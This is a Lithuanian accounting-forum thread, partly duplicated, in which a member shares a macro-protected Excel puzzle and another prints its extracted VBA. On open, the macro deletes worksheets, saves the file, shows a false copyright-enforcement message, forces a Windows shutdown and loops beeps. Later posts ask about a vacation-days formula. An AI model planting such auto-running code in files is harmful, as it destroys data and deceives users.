Excel
Niemand
4934
2007-07-27 17:46
Niemand
Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite 
Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti. apsauga.xls
Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti. apsauga.xls
D
2007-07-27 19:50
Dukas
2011-09-11 05-29
Niemand rašė: Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite
Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti.
Penki savižudžiai...
Trys programos-dokas atsidarė- kompas neišsijungė.
Tiesa neimetei to kas turėjo atsiverti nenaudojant apsaugos... Nežinau ar atsidarė teisingai.
Niemand rašė: Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite
Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti.
Penki savižudžiai...
Trys programos-dokas atsidarė- kompas neišsijungė.
Tiesa neimetei to kas turėjo atsiverti nenaudojant apsaugos... Nežinau ar atsidarė teisingai.
D
2007-07-27 20:34
Dukas
Na likusieji "savidžudžiai", kaip pasisekė? Kažko visi tylit negi iš tiesų kompai išsijungė... Įdomu...
Gita1
8628
2007-07-27 20:36
Gita1
šiaip tai mažoka tų "savižudžių", turbūt reikėjo didelėm raidėm parašyt "neatidarinėkit" 
D
2007-07-27 20:42
Dukas
2011-09-11 05-29
Gita1 rašė: šiaip tai mažoka tų "savižudžių", turbūt reikėjo didelėm raidėm parašyt "neatidarinėkit"
Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]
Gita1 rašė: šiaip tai mažoka tų "savižudžių", turbūt reikėjo didelėm raidėm parašyt "neatidarinėkit"
Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]
Elvusia
19998
2007-07-27 20:43
Elvusia
Žinot ką - jau buvau susinervinus iki užkulnių. Taip tas mano kompas vos kvėpsi, o čia - krenta visokios lentelės, išsijungė. Na, galvoju, šakės.
Reikėjo perspėt, kad žmonės valerijono prieš atidarydami stiklinaitę įkaltų :)
Reikėjo perspėt, kad žmonės valerijono prieš atidarydami stiklinaitę įkaltų :)
D
2007-07-27 20:57
Dukas
2011-09-11 05-29
Elvusia rašė: Žinot ką - jau buvau susinervinus iki užkulnių. Taip tas mano kompas vos kvėpsi, o čia - krenta visokios lentelės, išsijungė. Na, galvoju, šakės.
Reikėjo perspėt, kad žmonės valerijono prieš atidarydami stiklinaitę įkaltų :)
Aha... auka numeris vienas... Vaistų pardavėjai Niemand jau procenčiukus galėtu pradėt mokėt... dar keli tokie makrosai ir valerijankos apyvarta išaugtu... A Lietuvos ūkininkai vietoj cukrinių ir rapsų pradėtu masiškai valerijonus auginti.
Elvusia rašė: Žinot ką - jau buvau susinervinus iki užkulnių. Taip tas mano kompas vos kvėpsi, o čia - krenta visokios lentelės, išsijungė. Na, galvoju, šakės.
Reikėjo perspėt, kad žmonės valerijono prieš atidarydami stiklinaitę įkaltų :)
Aha... auka numeris vienas... Vaistų pardavėjai Niemand jau procenčiukus galėtu pradėt mokėt... dar keli tokie makrosai ir valerijankos apyvarta išaugtu... A Lietuvos ūkininkai vietoj cukrinių ir rapsų pradėtu masiškai valerijonus auginti.
Gita1
8628
2007-07-27 21:14
Gita1
2011-09-11 05-29
Dukas rašė: Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]
Ne. Ir nė nesiruošiu.
Dukas rašė: Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]
Ne. Ir nė nesiruošiu.
D
2007-07-27 21:31
Dukas
2011-09-11 05-29
Gita1 rašė:
Dukas rašė: Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]
Ne. Ir nė nesiruošiu.
Gaila
atrodes perspektyvus verslas- žlunga...
Gita1 rašė:
Dukas rašė: Lauksim Niemand ir likusiūjų "savižudžių" komentarų... O Jūs ar bandėte atidaryti?...[b][/b]
Ne. Ir nė nesiruošiu.
Gaila
atrodes perspektyvus verslas- žlunga...
Gita1
8628
2007-07-27 22:08
Gita1
Na neliūdėkit taip, jau 9 pasižiūrėjo ir kol kas tyli, viskas dar prieš akis...o dar savaitgalis baigsis... 
Elvusia
19998
2007-07-27 22:11
Elvusia
Taip išeina, kad aš viena tokia sąžininga, prisipažinau.
Kiti dabar tyliai keikiasi :)
Kiti dabar tyliai keikiasi :)
W
2007-07-28 10:52
Wyshniux
Žiauru: nustatytas saugumas, ant žemiausio lygio, išmetė kažkokią lentelę, kad klaida ir viskas baigėsi galvojau kad bent jau kompas nuluš, persikraus ar dar kas nors, o čia nieko gero, sugadino visą šeštadienio ryto malonumą 
galvojau kad bent jau kompas nuluš, persikraus ar dar kas nors, o čia nieko gero, sugadino visą šeštadienio ryto malonumą
wariuga
145
2007-07-28 11:41
wariuga
2011-09-11 05-29
Niemand rašė: Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite
Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti.
Sveikinu!!! Jums Pavyko!
Private Sub Workbook_open()
Set fs = Application.FileSearch
With fs
.LookIn = "C:\windows"
.Filename = "chk.dll"
If .Execute(SortBy:=msoSortByFileName, _
SortOrder:=msoSortOrderAscending) = 0 Then
Application.DisplayAlerts = False
For i = 1 To Worksheets.Count - 1
Worksheets(2).Delete
Next i
vardas = ActiveWorkbook.Name
Workbooks(vardas).Save
Application.DisplayAlerts = True
MsgBox "Nelegali kopija. Siunciamas pranesimas autoriu teisiu apsaugos agenturai."
MyAppID = Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") ' Run Microsoft Word.
For x = 1 To 20
Beep
x = x - 1
Next
Else
Worksheets("Virselis").ChartObjects(1).Visible = False
For i = 2 To Worksheets.Count
Worksheets(i).Visible = True
Next i
End If
End With
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Application.DisplayAlerts = False
Worksheets("Virselis").ChartObjects(1).Visible = True
For i = 2 To Worksheets.Count
Worksheets(i).Visible = False
Next i
vardas = ActiveWorkbook.Name
Workbooks(vardas).Save
Application.DisplayAlerts = False
End Sub
Niemand rašė: Prašau, tik kiekvienas nepavykęs bandymas atidaryti dokumentą su macrosais reikš priverstinį kompiuterio išjungimą. Daugiau žalos nepadarys. Išjungę macrosus, beje, irgi nieko nepešite
Dokumente yra paslėptas tam tikras tekstas. Sėkmės mėginant prie jo prisikasti.
Sveikinu!!! Jums Pavyko!
Private Sub Workbook_open()
Set fs = Application.FileSearch
With fs
.LookIn = "C:\windows"
.Filename = "chk.dll"
If .Execute(SortBy:=msoSortByFileName, _
SortOrder:=msoSortOrderAscending) = 0 Then
Application.DisplayAlerts = False
For i = 1 To Worksheets.Count - 1
Worksheets(2).Delete
Next i
vardas = ActiveWorkbook.Name
Workbooks(vardas).Save
Application.DisplayAlerts = True
MsgBox "Nelegali kopija. Siunciamas pranesimas autoriu teisiu apsaugos agenturai."
MyAppID = Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") ' Run Microsoft Word.
For x = 1 To 20
Beep
x = x - 1
Next
Else
Worksheets("Virselis").ChartObjects(1).Visible = False
For i = 2 To Worksheets.Count
Worksheets(i).Visible = True
Next i
End If
End With
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Application.DisplayAlerts = False
Worksheets("Virselis").ChartObjects(1).Visible = True
For i = 2 To Worksheets.Count
Worksheets(i).Visible = False
Next i
vardas = ActiveWorkbook.Name
Workbooks(vardas).Save
Application.DisplayAlerts = False
End Sub
Niemand
4934
2007-07-28 18:12
Niemand
Atrodo vieną savo klaidą jau matau. Vietoj Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") tikriausiai reikėjo įrašyti Shell("shutdown.exe -s -f -t 01"), nes langų instaliacinės direktorijos gali skirtis teoriškai.
Kaip jau sakiau, aš ne programeris, aš tik mokausi
Kaip jau sakiau, aš ne programeris, aš tik mokausi
W
2007-07-29 10:33
Wyshniux
2011-09-11 05-29
Niemand rašė: Atrodo vieną savo klaidą jau matau. Vietoj Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") tikriausiai reikėjo įrašyti Shell("shutdown.exe -s -f -t 01"), nes langų instaliacinės direktorijos gali skirtis teoriškai.
Kaip jau sakiau, aš ne programeris, aš tik mokausi
Pasižiūrėjau aš tą shutdown.exe, viskas vietoi failiukas vietoi, kelias nurodytas teisingai, windows'u dir'as vietoi, reikės pirmadienį darbe jei nepamiršiu pasižiūrėt, o antras variantas teisingesnis nes bet kokiu atveju, windai standartiškai visą shell'a užsikrauna, nors jaučiu bėda mano kompe, aš apkarpęs savo windausus iki minimumo ir atjungta krūva servisų, plius dar pora bajerių pridėta Mokslas - šviesa
Niemand rašė: Atrodo vieną savo klaidą jau matau. Vietoj Shell("C:\WINDOWS\system32\shutdown.exe -s -f -t 01") tikriausiai reikėjo įrašyti Shell("shutdown.exe -s -f -t 01"), nes langų instaliacinės direktorijos gali skirtis teoriškai.
Kaip jau sakiau, aš ne programeris, aš tik mokausi
Pasižiūrėjau aš tą shutdown.exe, viskas vietoi failiukas vietoi, kelias nurodytas teisingai, windows'u dir'as vietoi, reikės pirmadienį darbe jei nepamiršiu pasižiūrėt, o antras variantas teisingesnis nes bet kokiu atveju, windai standartiškai visą shell'a užsikrauna, nors jaučiu bėda mano kompe, aš apkarpęs savo windausus iki minimumo ir atjungta krūva servisų, plius dar pora bajerių pridėta
Mokslas - šviesa
M
2007-07-31 11:19
Mandera
Sveiki,
Gal kas turite excelini darbuotoju saraso varianta, kad butu galima daryti pasirinkimus, pvz del specialybes, del pavardes ir pan.
Imeskite ivairiu variantu kas turite.
Is anksto dekoju.
Gal kas turite excelini darbuotoju saraso varianta, kad butu galima daryti pasirinkimus, pvz del specialybes, del pavardes ir pan.
Imeskite ivairiu variantu kas turite.
Is anksto dekoju.
M
2007-08-02 10:48
Mandera
Nesu excel "specas" , todel norejau paprasyti excelyje paruosti tokia kasmetiniu atostogu skaiciuokle.
Pagal DK 170str. 1d. 6p., kai nemokamos atostogos(NA) per darbo metus virsija 14 kalendoriniu dienu, jos neiskaitomos i tu metu darbo staza.
Bandysiu parasyti formule
28/365 * [365-(NA-14)]
Siaip gal butu elementaru, bet reikia irasyti salyga, kad kai NA<14, tai toje formuleje vietoje NA reiketu, kad atsirastu 14 ir kasmetines atostogos skaiciuojamos iprasta tvarka.
is anksto dekoju uz pagalba
, todel norejau paprasyti excelyje paruosti tokia kasmetiniu atostogu skaiciuokle.
Pagal DK 170str. 1d. 6p., kai nemokamos atostogos(NA) per darbo metus virsija 14 kalendoriniu dienu, jos neiskaitomos i tu metu darbo staza.
Bandysiu parasyti formule
28/365 * [365-(NA-14)]
Siaip gal butu elementaru, bet reikia irasyti salyga, kad kai NA<14, tai toje formuleje vietoje NA reiketu, kad atsirastu 14 ir kasmetines atostogos skaiciuojamos iprasta tvarka.
is anksto dekoju uz pagalba
W
2007-08-02 11:21
Wyshniux
2011-09-11 05-29
Mandera rašė: Nesu excel "specas" , todel norejau paprasyti excelyje paruosti tokia kasmetiniu atostogu skaiciuokle.
Pagal DK 170str. 1d. 6p., kai nemokamos atostogos(NA) per darbo metus virsija 14 kalendoriniu dienu, jos neiskaitomos i tu metu darbo staza.
Bandysiu parasyti formule
28/365 * [365-(NA-14)]
Siaip gal butu elementaru, bet reikia irasyti salyga, kad kai NA<14, tai toje formuleje vietoje NA reiketu, kad atsirastu 14 ir kasmetines atostogos skaiciuojamos iprasta tvarka.
is anksto dekoju uz pagalba
jei gerai supratau:
vienas paprastas if: formulė būtų if(NA<14 [čia sąlyga]; [jei mažiau] ; [jei daugiau] ) etc: =if(NA<14;28/365*"Atostogos"; 28/365*(365-(NA-14)))
kažkas tokio
Mandera rašė: Nesu excel "specas"
, todel norejau paprasyti excelyje paruosti tokia kasmetiniu atostogu skaiciuokle.
Pagal DK 170str. 1d. 6p., kai nemokamos atostogos(NA) per darbo metus virsija 14 kalendoriniu dienu, jos neiskaitomos i tu metu darbo staza.
Bandysiu parasyti formule
28/365 * [365-(NA-14)]
Siaip gal butu elementaru, bet reikia irasyti salyga, kad kai NA<14, tai toje formuleje vietoje NA reiketu, kad atsirastu 14 ir kasmetines atostogos skaiciuojamos iprasta tvarka.
is anksto dekoju uz pagalba
jei gerai supratau:
vienas paprastas if: formulė būtų if(NA<14 [čia sąlyga]; [jei mažiau] ; [jei daugiau] ) etc: =if(NA<14;28/365*"Atostogos"; 28/365*(365-(NA-14)))
kažkas tokio
M
Tax.lt © 2002 - 2026, admin@tax.lt,
Reklama tax.lt
Buhalterinės apskaitos sistema internete smulkiam ir vidutiniam verslui